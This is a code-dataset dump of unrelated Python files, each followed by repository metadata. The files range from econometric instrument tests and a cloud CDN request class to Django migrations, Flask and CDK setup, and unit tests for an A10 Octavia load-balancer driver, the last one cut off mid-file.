3,22.3,12.83,9.54,7.8,13.43,8.18,6.4,5.45 4,24.58,13.96,10.26,8.31,16.87,9.93,7.54,6.28 5,26.87,15.09,10.98,8.84,19.45,11.22,8.38,6.89 6,29.18,16.23,11.72,9.38,21.68,12.33,9.1,7.42 7,31.5,17.38,12.48,9.93,23.72,13.34,9.77,7.91 8,33.84,18.54,13.24,10.5,25.64,14.31,10.41,8.39 9,36.19,19.71,14.01,11.07,27.51,15.24,11.03,8.85 10,38.54,20.88,14.78,11.65,29.32,16.16,11.65,9.31 11,40.9,22.06,15.56,12.23,31.11,17.06,12.25,9.77 12,43.27,23.24,16.35,12.82,32.88,17.95,12.86,10.22 13,45.64,24.42,17.14,13.41,34.62,18.84,13.45,10.68 14,48.01,25.61,17.93,14,36.36,19.72,14.05,11.13 15,50.39,26.8,18.72,14.6,38.08,20.6,14.65,11.58 16,52.77,27.99,19.51,15.19,39.8,21.48,15.24,12.03 17,55.15,29.19,20.31,15.79,41.51,22.35,15.83,12.49 18,57.53,30.38,21.1,16.39,43.22,23.22,16.42,12.94 19,59.92,31.58,21.9,16.99,44.92,24.09,17.02,13.39 20,62.3,32.77,22.7,17.6,46.62,24.96,17.61,13.84 21,64.69,33.97,23.5,18.2,48.31,25.82,18.2,14.29 22,67.07,35.17,24.3,18.8,50.01,26.69,18.79,14.74 23,69.46,36.37,25.1,19.41,51.7,27.56,19.38,15.19 24,71.85,37.57,25.9,20.01,53.39,28.42,19.97,15.64 25,74.24,38.77,26.71,20.61,55.07,29.29,20.56,16.1 26,76.62,39.97,27.51,21.22,56.76,30.15,21.15,16.55 27,79.01,41.17,28.31,21.83,58.45,31.02,21.74,17 28,81.4,42.37,29.12,22.43,60.13,31.88,22.33,17.45 29,83.79,43.57,29.92,23.04,61.82,32.74,22.92,17.9 30,86.17,44.78,30.72,23.65,63.51,33.61,23.51,18.35 """ #not used for now. may add in future tab_5_1 = u"""\ k2_tab,0.05,0.1,0.2,0.3,0.05,0.1,0.2,0.3,0.05,0.1,0.2,0.3 3,13.91,9.08,6.46,5.39,,,,,,,, 4,16.85,10.27,6.71,5.34,11.04,7.56,5.57,4.73,,,, 5,18.37,10.83,6.77,5.25,13.97,8.78,5.91,4.79,9.53,6.61,4.99,4.3 6,19.28,11.12,6.76,5.15,15.72,9.48,6.08,4.78,12.2,7.77,5.35,4.4 7,19.86,11.29,6.73,5.07,16.88,9.92,6.16,4.76,13.95,8.5,5.56,4.44 8,20.25,11.39,6.69,4.99,17.7,10.22,6.2,4.73,15.18,9.01,5.69,4.46 9,20.53,11.46,6.65,4.92,18.3,10.43,6.22,4.69,16.1,9.37,5.78,4.46 10,20.74,11.49,6.61,4.86,18.76,10.58,6.23,4.66,16.8,9.64,5.83,4.45 11,20.9,11.51,6.56,4.8,19.12,10.69,6.23,4.62,17.35,9.85,5.87,4.44 12,21.01,11.52,6.53,4.75,19.4,10.78,6.22,4.59,17.8,10.01,5.9,4.42 13,21.1,11.52,6.49,4.71,19.64,10.84,6.21,4.56,18.17,10.14,5.92,4.41 14,21.18,11.52,6.45,4.67,19.83,10.89,6.2,4.53,18.47,10.25,5.93,4.39 15,21.23,11.51,6.42,4.63,19.98,10.93,6.19,4.5,18.73,10.33,5.94,4.37 16,21.28,11.5,6.39,4.59,20.12,10.96,6.17,4.48,18.94,10.41,5.94,4.36 17,21.31,11.49,6.36,4.56,20.23,10.99,6.16,4.45,19.13,10.47,5.94,4.34 18,21.34,11.48,6.33,4.53,20.33,11,6.14,4.43,19.29,10.52,5.94,4.32 19,21.36,11.46,6.31,4.51,20.41,11.02,6.13,4.41,19.44,10.56,5.94,4.31 20,21.38,11.45,6.28,4.48,20.48,11.03,6.11,4.39,19.56,10.6,5.93,4.29 21,21.39,11.44,6.26,4.46,20.54,11.04,6.1,4.37,19.67,10.63,5.93,4.28 22,21.4,11.42,6.24,4.43,20.6,11.05,6.08,4.35,19.77,10.65,5.92,4.27 23,21.41,11.41,6.22,4.41,20.65,11.05,6.07,4.33,19.86,10.68,5.92,4.25 24,21.41,11.4,6.2,4.39,20.69,11.05,6.06,4.32,19.94,10.7,5.91,4.24 25,21.42,11.38,6.18,4.37,20.73,11.06,6.05,4.3,20.01,10.71,5.9,4.23 26,21.42,11.37,6.16,4.35,20.76,11.06,6.03,4.29,20.07,10.73,5.9,4.21 27,21.42,11.36,6.14,4.34,20.79,11.06,6.02,4.27,20.13,10.74,5.89,4.2 28,21.42,11.34,6.13,4.32,20.82,11.05,6.01,4.26,20.18,10.75,5.88,4.19 29,21.42,11.33,6.11,4.31,20.84,11.05,6,4.24,20.23,10.76,5.88,4.18 30,21.42,11.32,6.09,4.29,20.86,11.05,5.99,4.23,20.27,10.77,5.87,4.17 """ tab_5_1 = StringIO(tab_5_1) tab_5_2 = StringIO(tab_5_2) df_5_1 = pd.read_csv(tab_5_1) df_5_2 = pd.read_csv(tab_5_2) N = len(endog_x) critical_val = [] if N==1: stat_5p = forg(df_5_2['0.1'].iloc[k2-1],4) stat_10p = forg(df_5_2['0.15'].iloc[k2-1],4) stat_20p = forg(df_5_2['0.2'].iloc[k2-1],4) stat_30p = forg(df_5_2['0.25'].iloc[k2-1],4) critical_val = [(stat_5p, stat_10p, stat_20p, stat_30p)] elif N==2: stat_5p = forg(df_5_2['0.1.1'].iloc[k2-1],4) stat_10p = forg(df_5_2['0.15.1'].iloc[k2-1],4) stat_20p = forg(df_5_2['0.2.1'].iloc[k2-1],4) stat_30p = forg(df_5_2['0.25.1'].iloc[k2-1],4) critical_val = [(stat_5p, stat_10p, stat_20p, stat_30p)] else: warnings.warn("Critical values are not provided for number of endogenous variables greater than 3") critical_val = [(0,0,0,0)] #-------------------------------------------------------------# #-------------------- over identification --------------------# #-------------------------------------------------------------# if len(iv_col) <= len(endog_x): warnings.warn("There is no over identification, number of iv <= number of endogenous vars") sargan_stat = 0 sargan_stat_p_val = 0 b_stat = 0 b_stat_p_val = 0 else: resid = result.demeaned_df['resid'].values df_overid = len(all_exo_x)-len(exog_x) # number of overidentification constraints s_n_1 = np.dot(np.dot(resid,pz_full),resid.T) s_n_2 = np.dot(resid,resid.T)/nobs sargan_stat = round(s_n_1/s_n_2,6) sargan_stat_p_val =round(1 - chi2.cdf(sargan_stat, df_overid),6) b_1 = s_n_1/df_overid b_2 = (np.dot(np.dot(resid,m_z_full),resid.T))/(nobs - len(all_exo_x)) b_stat = round(b_1/b_2,6) b_stat_p_val = round(1 - chi2.cdf(b_stat, df_overid),6) #-------------------------------------------------------------# #-------------------- endogeneity test --------------------# #-------------------------------------------------------------# uc = demeaned_df['resid'].values model_test = sm.OLS(demeaned_df[out_col], demeaned_df[old_x + endog_x]) result_test = model_test.fit() u_e = result_test.resid z_test = demeaned_df[old_x + iv_col + endog_x ].values zpz_test = np.dot(z_test.T,z_test) zpz_test_inv = np.linalg.inv(zpz_test) pz_test = np.dot(np.dot(z_test,zpz_test_inv),z_test.T) u_c = demeaned_df.resid.values #d1 = np.dot(np.dot(u_e.T,pz_test),u_e) d1 = np.dot(np.dot(u_e.T,pz_test),u_e) d2 = np.dot(np.dot(u_c.T,pz_full),u_c) d3 = np.dot(u_e.T,u_e)/nobs durbin_stat = (d1-d2)/d3 durbin_stat_p_val = round(1 - chi2.cdf(durbin_stat, len(endog_x)),6) #-------------------------------------------------------# #-------------------- format output --------------------# #-------------------------------------------------------# gen_title = 'Weak IV test with critical values based on 2SLS size' stat_header = None gen_stubs = ['Cragg-Donald Statistics:','number of instrumental variables:', 'number of endogenous variables:'] cd_test_stat = [(cd_stat,),(k2,),(N,)] cd_tab = SimpleTable(cd_test_stat, stat_header, gen_stubs, title = gen_title, txt_fmt = gen_fmt) wald_header = ['5%', '10%', '20%', '30%'] wald_test_stat = critical_val tab_row_name = ['2SLS Size of nominal 5% Wald test'] critical_val_tab = SimpleTable(wald_test_stat, wald_header, tab_row_name, title = None) print(cd_tab) print(critical_val_tab) print('H0: Instruments are weak') #---------------------------------------------------------# print() sargan = (forg(sargan_stat,4),forg(sargan_stat_p_val,4)) Basmann = (forg(b_stat,4),forg(b_stat_p_val,4)) gen_title2 = 'Over identification test - nonrobust' stat_header2 = ['test statistics', 'p values'] gen_stubs2 = ['Sargan Statistics:','Basmann Statistics:'] overid_stat = [sargan,Basmann] critical_val_tab = SimpleTable(overid_stat, stat_header2, gen_stubs2, title = gen_title2) print(critical_val_tab) #---------------------------------------------------------# print() durbin = (forg(durbin_stat,4),forg(durbin_stat_p_val,4)) gen_title3 = 'Tests of endogeneity' stat_header3 = ['test statistics', 'p values'] gen_stubs3 = ['Durbin Statistics:'] endog_stat = [durbin] durbin_tab = SimpleTable(endog_stat, stat_header3, gen_stubs3, title = gen_title3) print(durbin_tab) print('H0: variables are exogenous') return

38.940767

115

0.561024

2,321

11,176

2.561827

0.127962

0.026909

0.014127

0.020182

0.134712

0.073495

0.073158

0.062563

0.053986

0

0.260884

0.206693

11,176

287

116

38.940767

0.409768

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0.042453

0

0.273585

0.417374

0.325864

0

1

0.004717

false

0

0.04717

0

0.056604

0.037736

0

null

0

1

0

1

0

1

0

null

0

3

e8b08e07a124a5894e0a2f6c454b7b7c1764e371

2,652

py

Python

qcloudsdkcdn/AddYYCdnHostRequest.py

f3n9/qcloudcli

b965a4f0e6cdd79c1245c1d0cd2ca9c460a56f19

[ "Apache-2.0" ]

null

qcloudsdkcdn/AddYYCdnHostRequest.py

f3n9/qcloudcli

b965a4f0e6cdd79c1245c1d0cd2ca9c460a56f19

[ "Apache-2.0" ]

null

qcloudsdkcdn/AddYYCdnHostRequest.py

f3n9/qcloudcli

b965a4f0e6cdd79c1245c1d0cd2ca9c460a56f19

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from qcloudsdkcore.request import Request class AddYYCdnHostRequest(Request): def __init__(self): super(AddYYCdnHostRequest, self).__init__( 'cdn', 'qcloudcliV1', 'AddYYCdnHost', 'cdn.api.qcloud.com') def get_antiStealingLink(self): return self.get_params().get('antiStealingLink') def set_antiStealingLink(self, antiStealingLink): self.add_param('antiStealingLink', antiStealingLink) def get_cacheRule(self): return self.get_params().get('cacheRule') def set_cacheRule(self, cacheRule): self.add_param('cacheRule', cacheRule) def get_ctcBackupCnc(self): return self.get_params().get('ctcBackupCnc') def set_ctcBackupCnc(self, ctcBackupCnc): self.add_param('ctcBackupCnc', ctcBackupCnc) def get_domain(self): return self.get_params().get('domain') def set_domain(self, domain): self.add_param('domain', domain) def get_expectedBandwidth(self): return self.get_params().get('expectedBandwidth') def set_expectedBandwidth(self, expectedBandwidth): self.add_param('expectedBandwidth', expectedBandwidth) def get_haveDynamicResource(self): return self.get_params().get('haveDynamicResource') def set_haveDynamicResource(self, haveDynamicResource): self.add_param('haveDynamicResource', haveDynamicResource) def get_httpsCrt(self): return self.get_params().get('httpsCrt') def set_httpsCrt(self, httpsCrt): self.add_param('httpsCrt', httpsCrt) def get_httpsKey(self): return self.get_params().get('httpsKey') def set_httpsKey(self, httpsKey): self.add_param('httpsKey', httpsKey) def get_remark(self): return self.get_params().get('remark') def set_remark(self, remark): self.add_param('remark', remark) def get_schemeMode(self): return self.get_params().get('schemeMode') def set_schemeMode(self, schemeMode): self.add_param('schemeMode', schemeMode) def get_src(self): return self.get_params().get('src') def set_src(self, src): self.add_param('src', src) def get_srcMethod(self): return self.get_params().get('srcMethod') def set_srcMethod(self, srcMethod): self.add_param('srcMethod', srcMethod) def get_testUrl(self): return self.get_params().get('testUrl') def set_testUrl(self, testUrl): self.add_param('testUrl', testUrl) def get_type(self): return self.get_params().get('type') def set_type(self, type): self.add_param('type', type)

28.212766

71

0.673454

305

2,652

5.645902

0.127869

0.04878

0.113821

0.138211

0.211382

0

0.000945

0.202112

2,652

93

72

28.516129

0.812854

0.007919

0

0.118676

0

1

0.47541

false

0

0.016393

0.229508

0.737705

0

null

0

null

0

1

0

1

0

3

fa038dd03b1d28515952556d3c3ab0b0bb51b2fb

229

py

Python

evennia/scripts/__init__.py

Jaykingamez/evennia

cf7cab1fea99ede3efecb70a65c3eb0fba1d3745

[ "BSD-3-Clause" ]

1,544

2015-01-01T22:16:31.000Z

2022-03-31T19:17:45.000Z

evennia/scripts/__init__.py

Jaykingamez/evennia

cf7cab1fea99ede3efecb70a65c3eb0fba1d3745

[ "BSD-3-Clause" ]

1,686

2015-01-02T18:26:31.000Z

2022-03-31T20:12:03.000Z

evennia/scripts/__init__.py

Jaykingamez/evennia

cf7cab1fea99ede3efecb70a65c3eb0fba1d3745

[ "BSD-3-Clause" ]

867

2015-01-02T21:01:54.000Z

2022-03-29T00:28:27.000Z

""" This sub-package holds the Scripts system. Scripts are database entities that can store data both in connection to Objects and Accounts or globally. They may also have a timer-component to execute various timed effects. """

28.625

71

0.790393

36

229

5.027778

0.944444

0

0.161572

229

7

72

32.714286

0.942708

0.956332

0

null

0

null

0

null

0

null

1

null

true

0

null

0

null

0

1

0

1

0

null

0

1

0

3

fa2bb53c12a588d29d43ef76a7170a5b55b0cd87

99

py

Python

year calendar.py

jeettilva/python

9e0fb551d42d4b9de773526338df14dba161e9ac

[ "MIT" ]

null

year calendar.py

jeettilva/python

9e0fb551d42d4b9de773526338df14dba161e9ac

[ "MIT" ]

null

year calendar.py

jeettilva/python

9e0fb551d42d4b9de773526338df14dba161e9ac

[ "MIT" ]

null

import calendar year=int(input("Enter Year: ")) display=calendar.calendar(year) print(display)

19.8

32

0.747475

13

99

5.692308

0.615385

0.324324

0

0.111111

99

4

33

24.75

0.840909

0

0.126316

0

1

0

false

0

0.25

0

0.25

1

0

null

1

0

1

0

null

0

3

fa38201582ef2a31b32936a30e7d0ddfc7dab3bd

119

py

Python

test.py

Andersonlima1/allflix0

9403c0a2995bf9930daa795b12aafc527fcf895b

[ "MIT" ]

null

test.py

Andersonlima1/allflix0

9403c0a2995bf9930daa795b12aafc527fcf895b

[ "MIT" ]

2

2021-03-11T04:07:09.000Z

2022-02-27T09:28:21.000Z

test.py

Andersonlima1/allflix0

9403c0a2995bf9930daa795b12aafc527fcf895b

[ "MIT" ]

null

import numpy as np import matplotlib.pyplot as plt x = np.linspace(0,2*np.pi) y = np.sin(x) plt.plot(x,y) plt.show()

13.222222

31

0.689076

26

119

3.153846

0.615385

0

0.019802

0.151261

119

8

32

14.875

0.792079

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

0

1

0

null

0

1

0

3

3aff9c27dea9b20fa0008ede185890ed6a920bed

347

py

Python

aspen/simplates/renderers/stdlib_format.py

galuszkak/aspen.py

a29047d6d4eefa47413e35a18068946424898364

[ "MIT" ]

null

aspen/simplates/renderers/stdlib_format.py

galuszkak/aspen.py

a29047d6d4eefa47413e35a18068946424898364

[ "MIT" ]

null

aspen/simplates/renderers/stdlib_format.py

galuszkak/aspen.py

a29047d6d4eefa47413e35a18068946424898364

[ "MIT" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from . import Renderer, Factory class Renderer(Renderer): def render_content(self, context): return self.compiled.format(**context) class Factory(Factory): Renderer = Renderer

20.411765

46

0.786744

41

347

6.170732

0.487805

0.158103

0.252964

0

0.158501

347

16

47

21.6875

0.866438

0

1

0.1

false

0

0.5

0.1

1

0.1

0

null

0

1

0

null

0

1

0

1

0

3

d70cdf1b3fd5dbaacf3bf1557ab2f5ac8f345357

186

py

Python

{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/objects.py

cuongnb14/cookiecutter-flask-restful

d2da71f192db626370ae702c358eadaf1bbc905a

[ "MIT" ]

2

2017-10-24T16:01:57.000Z

2017-11-15T18:34:41.000Z

{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/objects.py

cuongnb14/cookiecutter-flask-restful

d2da71f192db626370ae702c358eadaf1bbc905a

[ "MIT" ]

null

{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/objects.py

cuongnb14/cookiecutter-flask-restful

d2da71f192db626370ae702c358eadaf1bbc905a

[ "MIT" ]

null

from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask("{{cookiecutter.project_slug}}") app.config.from_pyfile('configs/config.py') # Init db db = SQLAlchemy(app)

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45

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null

0

1

0

null

0

1

0

3

d70dbb086c453cdfe83adaf8ebde0a689fb10df9

209

py

Python

asg_alb_webservers/app.py

darko-mesaros/awsome_building_in_the_cloud_demos

baff18904bb87d74fa13bcf1ef926dbe4f361da6

[ "MIT" ]

2

2020-09-16T08:20:34.000Z

2020-09-16T09:19:22.000Z

asg_alb_webservers/app.py

darko-mesaros/awsome_building_in_the_cloud_demos

baff18904bb87d74fa13bcf1ef926dbe4f361da6

[ "MIT" ]

null

asg_alb_webservers/app.py

darko-mesaros/awsome_building_in_the_cloud_demos

baff18904bb87d74fa13bcf1ef926dbe4f361da6

[ "MIT" ]

1

2021-05-23T04:32:38.000Z

#!/usr/bin/env python3 from aws_cdk import core from asg_alb_webservers.asg_alb_webservers_stack import AsgAlbWebserversStack app = core.App() AsgAlbWebserversStack(app, "asg-alb-webservers") app.synth()

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null

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1

0

3

d7163abb8cab8d97f9dd68760c6b806b28f3c2cd

4,284

py

Python

src/accounts/migrations/0001_initial.py

NikolayTls/CarRental-Fullstack

e535976c25dd77896a355a2d30b5348be90ac040

[ "MIT" ]

null

src/accounts/migrations/0001_initial.py

NikolayTls/CarRental-Fullstack

e535976c25dd77896a355a2d30b5348be90ac040

[ "MIT" ]

null

src/accounts/migrations/0001_initial.py

NikolayTls/CarRental-Fullstack

e535976c25dd77896a355a2d30b5348be90ac040

[ "MIT" ]

null

# Generated by Django 3.2.5 on 2021-10-17 12:10 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Car', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100, null=True)), ('model_year', models.CharField(max_length=100, null=True)), ('description', models.CharField(blank=True, max_length=100, null=True)), ('date_created', models.DateTimeField(auto_now_add=True)), ], ), migrations.CreateModel( name='Category', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('category_name', models.CharField(max_length=100, null=True)), ('price_per_day', models.FloatField(max_length=10, null=True)), ('occupant_amount', models.CharField(max_length=100, null=True)), ('baggage_amount', models.CharField(max_length=100, null=True)), ('driver_age', models.FloatField(max_length=10, null=True)), ('Power', models.FloatField(max_length=10, null=True)), ('door_amount', models.FloatField(max_length=10, null=True)), ('acriss_code', models.CharField(max_length=100, null=True)), ], ), migrations.CreateModel( name='City', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100, null=True)), ], ), migrations.CreateModel( name='Customer', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100, null=True)), ('phone', models.CharField(max_length=100, null=True)), ('email', models.CharField(max_length=100, null=True)), ('date_created', models.DateTimeField(auto_now_add=True)), ], ), migrations.CreateModel( name='Station', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100, null=True)), ('city', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='accounts.city')), ], ), migrations.CreateModel( name='Reservation', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('pickup_date', models.DateTimeField(null=True)), ('dropoff_date', models.DateTimeField(null=True)), ('car', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.car')), ('city', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='pickup_city', to='accounts.city')), ('city1', models.ForeignKey(default='---------', on_delete=django.db.models.deletion.CASCADE, related_name='return_city', to='accounts.city')), ('customer', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.customer')), ('station', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='pickup_station', to='accounts.station')), ('station1', models.ForeignKey(default='---------', on_delete=django.db.models.deletion.CASCADE, related_name='return_station', to='accounts.station')), ], ), migrations.AddField( model_name='car', name='category', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.category'), ), ]

51

168

0.593137

450

4,284

5.488889

0.186667

0.068016

0.0583

0.077733

0.763968

0.738866

0.647773

0.598785

0

0.019152

0.256536

4,284

83

169

51.614458

0.756358

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false

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0.026316

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0.078947

0

null

0

1

0

1

0

null

0

3

d72199c88ef266c08f124bdd5c04dca01a9f2791

172

py

Python

tests/test_referenceless.py

notricenotsweet/GEM-metrics

10d689891558862593cdf3ad56656bbbb6249cb8

[ "MIT" ]

1

2021-04-18T22:09:34.000Z

tests/test_referenceless.py

maybay21/GEM-metrics

2693f3439547a40897bc30c2ab70e27e992883c0

[ "MIT" ]

null

tests/test_referenceless.py

maybay21/GEM-metrics

2693f3439547a40897bc30c2ab70e27e992883c0

[ "MIT" ]

1

2021-07-11T18:18:35.000Z

"""Test class for metrics that don't use a reference. """ import unittest class TestReferenceLessMetric(object): pass if __name__ == '__main__': unittest.main()

15.636364

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0.709302

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0

0.180233

172

10

54

17.2

0.808511

0.290698

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0.069565

0

1

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0.2

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0.4

0

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null

0

null

0

1

0

3

d72aeb24042579690a699fc8349cabbb11bc4187

1,200

py

Python

tests/test_variables.py

msiemens/mlisp

c6d3d3593dbd1dfb53d07a35f85a67e5bafab71a

[ "Unlicense", "MIT" ]

2

2015-07-05T04:46:13.000Z

2020-01-08T23:23:22.000Z

tests/test_variables.py

msiemens/mlisp

c6d3d3593dbd1dfb53d07a35f85a67e5bafab71a

[ "Unlicense", "MIT" ]

null

tests/test_variables.py

msiemens/mlisp

c6d3d3593dbd1dfb53d07a35f85a67e5bafab71a

[ "Unlicense", "MIT" ]

null

from testhelpers import * init() mlisp_builtins = ["+", "-", "*", "/", "%", "head", "tail", "list", "eval", "join", "cons", "def", "=", "lambda"] def test_qexpr(): with run('{}') as r: assert is_qexpr(r) and is_empty(r) with run('{1 2 3}') as r: assert is_qexpr(r) assert str(r) == '{1 2 3}' for i, v in enumerate(r.values): assert is_number(v, i + 1) def test_define(): with run('def {x} 100') as r: assert is_sexpr(r) with run('x') as r: assert is_number(r, 100) def test_unbound(): with run('y') as r: assert is_error(r, 'Unbound symbol: \'y\'') def test_misc(): with run('eval (head {+ - + - * /})') as r: assert is_func(r, lib.builtin_add) # with run('def {a b} 5 6') as r: assert is_sexpr(r) with run('+ a b') as r: assert is_number(r, 11) # with run('def {arglist} {a b}') as r: assert is_sexpr(r) # with run('def arglist 1 2') as r: assert is_sexpr(r) with run('list a b') as r: assert is_qexpr(r) assert is_int_list(r, [1, 2]) reset_env() # FIXME: Sometimes sigsegv??

20.338983

66

0.508333

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1,200

3.178378

0.324324

0.154762

0.183673

0.205782

0.341837

0.241497

0.163265

0

0.025579

0.315833

1,200

59

67

20.338983

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0

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false

0

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0

null

0

1

0

null

0

1

0

3

d7430eef0f290e439183c27c713425a89bbd8241

11,131

py

Python

a10_octavia/tests/unit/controller/worker/tasks/test_a10_compute_tasks.py

spencerharmon/a10-octavia

9de5d6a415a5bcb777f087011f7755ed2db47c05

[ "Apache-2.0" ]

5

2020-03-10T16:48:55.000Z

2021-09-18T00:57:58.000Z

a10_octavia/tests/unit/controller/worker/tasks/test_a10_compute_tasks.py

spencerharmon/a10-octavia

9de5d6a415a5bcb777f087011f7755ed2db47c05

[ "Apache-2.0" ]

72

2019-08-10T01:16:59.000Z

2021-12-13T08:20:36.000Z

a10_octavia/tests/unit/controller/worker/tasks/test_a10_compute_tasks.py

spencerharmon/a10-octavia

9de5d6a415a5bcb777f087011f7755ed2db47c05

[ "Apache-2.0" ]

27

2019-08-11T19:26:52.000Z

2021-07-21T09:08:58.000Z

# Copyright 2020, A10 Networks # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy import imp try: from unittest import mock except ImportError: import mock from oslo_config import cfg from oslo_config import fixture as oslo_fixture from octavia.common import constants as o_constants from octavia.common import data_models as o_data_models from octavia.tests.common import constants as o_test_constants from a10_octavia.common import config_options from a10_octavia.common import data_models from a10_octavia.controller.worker.tasks import a10_compute_tasks as task from a10_octavia.tests.common import a10constants from a10_octavia.tests.unit import base AMPHORA = o_data_models.Amphora(id=a10constants.MOCK_AMPHORA_ID) VTHUNDER = data_models.VThunder(compute_id=a10constants.MOCK_COMPUTE_ID) VIP = o_data_models.Vip(ip_address="1.1.1.1", network_id=o_test_constants.MOCK_VIP_NET_ID) LB = o_data_models.LoadBalancer( id=a10constants.MOCK_LOAD_BALANCER_ID, vip=VIP) class TestA10ComputeTasks(base.BaseTaskTestCase): def setUp(self): super(TestA10ComputeTasks, self).setUp() self.conf = self.useFixture(oslo_fixture.Config(cfg.CONF)) self.conf.register_opts(config_options.A10_GLM_LICENSE_OPTS, group=a10constants.A10_GLOBAL_CONF_SECTION) imp.reload(task) self.client_mock = mock.Mock() self.db_session = mock.patch( 'a10_octavia.controller.worker.tasks.a10_database_tasks.db_apis.get_session') self.db_session.start() def tearDown(self): super(TestA10ComputeTasks, self).tearDown() self.conf.reset() @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_no_nets(self, mock_driver): compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), []) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_mgmt_only(self, mock_driver): self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=a10constants.MOCK_NETWORK_ID) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), [a10constants.MOCK_NETWORK_ID]) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_boot_only(self, mock_driver): boot_list = [a10constants.MOCK_NETWORK_ID, 'mock-network-id-2'] self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_boot_network_list=boot_list) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args actual_net_ids = kwargs.get('network_ids') self.assertEqual(set(boot_list), set(actual_net_ids)) self.assertEqual(len(boot_list), len(actual_net_ids)) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_glm_only(self, mock_driver): self.conf.config(group=a10constants.GLM_LICENSE_CONFIG_SECTION, amp_license_network=a10constants.MOCK_NETWORK_ID) compute_task = task.ComputeCreate() compute_task.compute.build = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), [a10constants.MOCK_NETWORK_ID]) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_lb_only(self, mock_driver): compute_task = task.ComputeCreate() compute_task.compute.build = mock.MagicMock() compute_task.execute(AMPHORA.id, loadbalancer=LB) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), [VIP.network_id]) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_mgmt_is_glm(self, mock_driver): self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=a10constants.MOCK_NETWORK_ID) self.conf.config(group=a10constants.GLM_LICENSE_CONFIG_SECTION, amp_license_network=a10constants.MOCK_NETWORK_ID) compute_task = task.ComputeCreate() compute_task.compute.build = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), [a10constants.MOCK_NETWORK_ID]) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_mgmt_is_first_boot(self, mock_driver): mgmt_id = a10constants.MOCK_NETWORK_ID boot_list = [mgmt_id, 'mock-network-id-2'] self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=mgmt_id, amp_boot_network_list=boot_list) compute_task = task.ComputeCreate() compute_task.compute = mock.MagicMock() compute_task.execute(AMPHORA.id) args, kwargs = compute_task.compute.build.call_args actual_net_ids = kwargs.get('network_ids') self.assertEqual(actual_net_ids, boot_list) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_mgmt_is_lb(self, mock_driver): loadbalancer = copy.deepcopy(LB) loadbalancer.vip.network_id = a10constants.MOCK_NETWORK_ID self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_mgmt_network=a10constants.MOCK_NETWORK_ID) compute_task = task.ComputeCreate() compute_task.compute.build = mock.MagicMock() compute_task.execute(AMPHORA.id, loadbalancer=loadbalancer) args, kwargs = compute_task.compute.build.call_args self.assertEqual(kwargs.get('network_ids'), [a10constants.MOCK_NETWORK_ID]) @mock.patch('stevedore.driver.DriverManager.driver') def test_ComputeCreate_execute_glm_in_boot(self, mock_driver): boot_list = ['mock-mgmt-net-id', a10constants.MOCK_NETWORK_ID] self.conf.config(group=a10constants.A10_CONTROLLER_WORKER_CONF_SECTION, amp_boot_network_list=boot_list) self.conf.config(group=a10constants.GLM_LICENSE_CONFIG_SECTION, 